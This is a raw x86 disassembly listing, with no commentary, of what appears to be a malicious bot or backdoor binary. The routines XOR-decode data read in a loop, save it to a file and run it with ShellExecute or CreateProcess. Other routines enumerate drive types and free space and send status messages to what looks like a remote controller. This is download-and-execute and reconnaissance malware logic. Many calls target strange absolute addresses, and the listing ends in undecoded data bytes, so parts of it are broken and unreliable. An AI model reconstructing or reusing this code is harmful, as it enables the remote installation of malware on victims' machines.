		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CB6A4
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CB66C
		cmp	eax, ebx
		jl	loc_41617C
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617C
		sub	[ebp+8], eax
		jnz	loc_41604A
		mov	edi, [ebp-18h]


loc_4160E7:				; CODE XREF: ___:0041603Fj
		push	dword ptr [ebp-8]
		nop
		call	near ptr 26608E1h
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_437BA8
		push	eax
		call	sub_41B886


loc_416120:				; CODE XREF: ___:00415FF7j
		add	esp, 14h


loc_416123:				; CODE XREF: ___:00416030j
		cmp	[ebp-50h], esi
		jnz	short loc_416148
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		add	esp, 14h


loc_416148:				; CODE XREF: ___:00416126j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AD
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416160
		push	edi
		call	dword_4CB6EC


loc_416160:				; CODE XREF: ___:00416157j
		push	dword ptr [ebp-1F8h]
		call	dword_4CB6EC
		push	dword ptr [ebp-58h]
		call	sub_40B413
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h


loc_41617C:				; CODE XREF: ___:004160CAj
					; ___:004160D5j
		push	esi
		mov	esi, offset dword_437B90
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		push	esi
		call	sub_4151AD
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CB6EC
		push	dword ptr [ebp-58h]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	near ptr 26E0000h
		nop


loc_4161BD:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 26709BBh
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_429ACC
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2700842h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416247
		push	offset unk_437D0C
		jmp	short loc_41628D
; ---------------------------------------------------------------------------


loc_416247:				; CODE XREF: ___:0041623Ej
		push	eax
		nop
		call	near ptr 26608E1h
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626F
		push	offset unk_437CDC
		jmp	short loc_41628D
; ---------------------------------------------------------------------------


loc_41626F:				; CODE XREF: ___:00416266j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD4
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_4162A0
		push	offset unk_437CBC


loc_41628D:				; CODE XREF: ___:00416245j
					; ___:0041626Dj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639C
; ---------------------------------------------------------------------------


loc_4162A0:				; CODE XREF: ___:00416286j
		mov	esi, 1000h


loc_4162A5:				; CODE XREF: ___:0041630Bj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB66C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636C
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630D
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CB650
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6A4
		jmp	short loc_4162A5
; ---------------------------------------------------------------------------


loc_41630D:				; CODE XREF: ___:004162D5j
		lea	eax, [ebp-4C4h]
		push	offset dword_437B90
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A73
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CB6EC
		push	dword ptr [ebp-1Ch]
		call	sub_40B413
		pop	ecx
		push	1
		nop
		call	near ptr 26E0000h


loc_41636C:				; CODE XREF: ___:004162CCj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_437C90
		push	eax
		call	sub_41B886
		add	esp, 14h


loc_41639C:				; CODE XREF: ___:0041629Bj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C1
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A73
		add	esp, 14h


loc_4163C1:				; CODE XREF: ___:0041639Fj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AD
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx


loc_4163DC:				; CODE XREF: ___:004163D1j
		cmp	[ebp+8], ebx
		jbe	short loc_4163EA
		push	dword ptr [ebp+8]
		call	dword_4CB6EC


loc_4163EA:				; CODE XREF: ___:004163DFj
		push	dword ptr [ebp-1Ch]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h


loc_4163FA:				; DATA XREF: sub_401ACD+627Ao
					; sub_401ACD+6ABAo
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CB604
		call	dword_4CB558
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416886
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		call	near ptr 2700842h
		nop
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C1
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437ED8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A4
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_4164A4:				; CODE XREF: ___:00416482j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-48h]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h


loc_4164C1:				; CODE XREF: ___:00416462j
		xor	edi, edi
		nop
		call	near ptr 269095Dh
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_4164DB:				; CODE XREF: ___:004165AEj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CB560
		cmp	[ebp-34h], esi
		jz	short loc_41651F
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EC
		pop	ecx
		pop	ecx


loc_41651F:				; CODE XREF: ___:0041650Cj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		call	near ptr 26F0000h
		nop
		cmp	edi, ebx
		jnb	short loc_41655D
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416547
		mov	eax, [ebp+8]


loc_416547:				; CODE XREF: ___:00416542j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_41655D:				; CODE XREF: ___:00416539j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_41656A
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B4


loc_41656A:				; CODE XREF: ___:00416563j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416584
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437EB0
		jmp	short loc_416594
; ---------------------------------------------------------------------------


loc_416584:				; CODE XREF: ___:00416570j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437E88


loc_416594:				; CODE XREF: ___:00416582j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43E390
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DB


loc_4165B4:				; CODE XREF: ___:00416568j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416609
		cmp	edi, [ebp-3Ch]
		jz	short loc_416609
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_437E5C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		add	esp, 28h


loc_416609:				; CODE XREF: ___:004165BEj
					; ___:004165C3j
		nop
		call	near ptr 269095Dh
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 26608E1h
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416693
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416693
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437E34
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		add	esp, 28h


loc_416693:				; CODE XREF: ___:0041663Bj
					; ___:0041664Dj
		cmp	[ebp-14h], esi
		jz	loc_4168D3
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678E
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276A8
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276A8
		fstp	qword ptr [esp]
		push	offset unk_437DFC
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670E
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_41670E:				; CODE XREF: ___:004166ECj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D3
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CB5C0
		cmp	[ebp-30h], esi
		jnz	loc_4168D3
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_437DE0
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		add	esp, 24h
		jmp	loc_4168D3
; ---------------------------------------------------------------------------


loc_41678E:				; CODE XREF: ___:004166A0j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276A8
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276A8
		fstp	qword ptr [esp]
		push	offset unk_437D9C
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F6
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_4167F6:				; CODE XREF: ___:004167D4j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_43D808
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		call	near ptr 2660BFCh
		nop
		cmp	eax, edi
		jnz	short loc_416878
		call	dword_4CB5AC
		call	sub_41835A
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_416878:				; CODE XREF: ___:00416864j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_437D68
		jmp	short loc_416892
; ---------------------------------------------------------------------------


loc_416886:				; CODE XREF: ___:0041643Fj
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437D3C


loc_416892:				; CODE XREF: ___:00416884j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C6
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_4168C6:				; CODE XREF: ___:004168A4j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_4168D3:				; CODE XREF: ___:00416696j
					; ___:0041671Fj ...
		push	dword ptr [ebp-18h]
		call	dword_4CB688
		push	dword ptr [ebp-48h]
		call	sub_40B413
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h

; =============== S U B	R O U T	I N E =======================================



sub_4168EC	proc near		; CODE XREF: ___:00416518p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416908


loc_4168F8:				; CODE XREF: sub_4168EC+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F8

locret_416908:				; CODE XREF: sub_4168EC+Aj
		retn
sub_4168EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_416909	proc near		; CODE XREF: sub_401ACD+5842p
					; sub_401ACD+596Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416923	proc near		; CODE XREF: sub_40F96B+458p
					; sub_40F96B+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D3288
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416948:				; CODE XREF: sub_416923+5Bj
					; sub_416923+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416986
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416948
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416948
; ---------------------------------------------------------------------------


loc_416986:				; CODE XREF: sub_416923+4Bj
		dec	esi
		mov	eax, edi


loc_416989:				; CODE XREF: sub_416923+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416998
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416989
; ---------------------------------------------------------------------------


loc_416998:				; CODE XREF: sub_416923+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416923	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A2	proc near		; CODE XREF: sub_416B57+51p
					; sub_416B57+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB6B4
		sub	eax, 0
		jz	short loc_4169E5
		dec	eax
		jz	short loc_4169DF
		dec	eax
		dec	eax
		jz	short loc_4169D9
		dec	eax
		jz	short loc_4169D3
		dec	eax
		jz	short loc_4169CD
		dec	eax
		jz	short loc_4169C7
		mov	eax, offset word_437F2C
		retn
; ---------------------------------------------------------------------------


loc_4169C7:				; CODE XREF: sub_4169A2+1Dj
		mov	eax, offset off_437F28
		retn
; ---------------------------------------------------------------------------


loc_4169CD:				; CODE XREF: sub_4169A2+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4169D3:				; CODE XREF: sub_4169A2+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4169D9:				; CODE XREF: sub_4169A2+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4169DF:				; CODE XREF: sub_4169A2+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4169E5:				; CODE XREF: sub_4169A2+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EB	proc near		; CODE XREF: sub_416A33+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CB544
		test	eax, eax
		jz	short loc_416A20
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416A20:				; CODE XREF: sub_4169EB+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A33	proc near		; CODE XREF: sub_416B57+17p
					; sub_41AA43+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EB
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B11
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B11
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B11
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B43
; ---------------------------------------------------------------------------


loc_416B11:				; CODE XREF: sub_416A33+2Cj
					; sub_416A33+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_416B43:				; CODE XREF: sub_416A33+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B57	proc near		; CODE XREF: sub_416C29+17p
					; sub_416C29+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A33
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BCA
		push	ebx
		push	ebx
		call	sub_4169A2
		pop	ecx
		push	eax
		push	offset unk_437F7C
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFE
; ---------------------------------------------------------------------------


loc_416BCA:				; CODE XREF: sub_416B57+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A2
		pop	ecx
		push	eax
		push	offset unk_437F40
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h


loc_416BFE:				; CODE XREF: sub_416B57+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AD
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C29	proc near		; CODE XREF: sub_401ACD+2554p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C4A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B57
		add	esp, 10h
		jmp	short loc_416CAB
; ---------------------------------------------------------------------------


loc_416C4A:				; CODE XREF: sub_416C29+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CB5BC
		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CB5BC
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA2


loc_416C6E:				; CODE XREF: sub_416C29+77j
		push	offset off_437FB8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C91
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B57
		add	esp, 10h


loc_416C91:				; CODE XREF: sub_416C29+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6E


loc_416CA2:				; CODE XREF: sub_416C29+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi


loc_416CAB:				; CODE XREF: sub_416C29+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C29	endp

; ---------------------------------------------------------------------------
word_416CAE	dw 8B55h		; DATA XREF: sub_401ACD+68A0o
		dd 9CEC81ECh, 8B000004h, 56530845h, 0A7B957h, 0F08B0000h
		dd 0FD64BD8Dh, 0A5F3FFFFh, 29880C7h, 10000h, 858D0000h
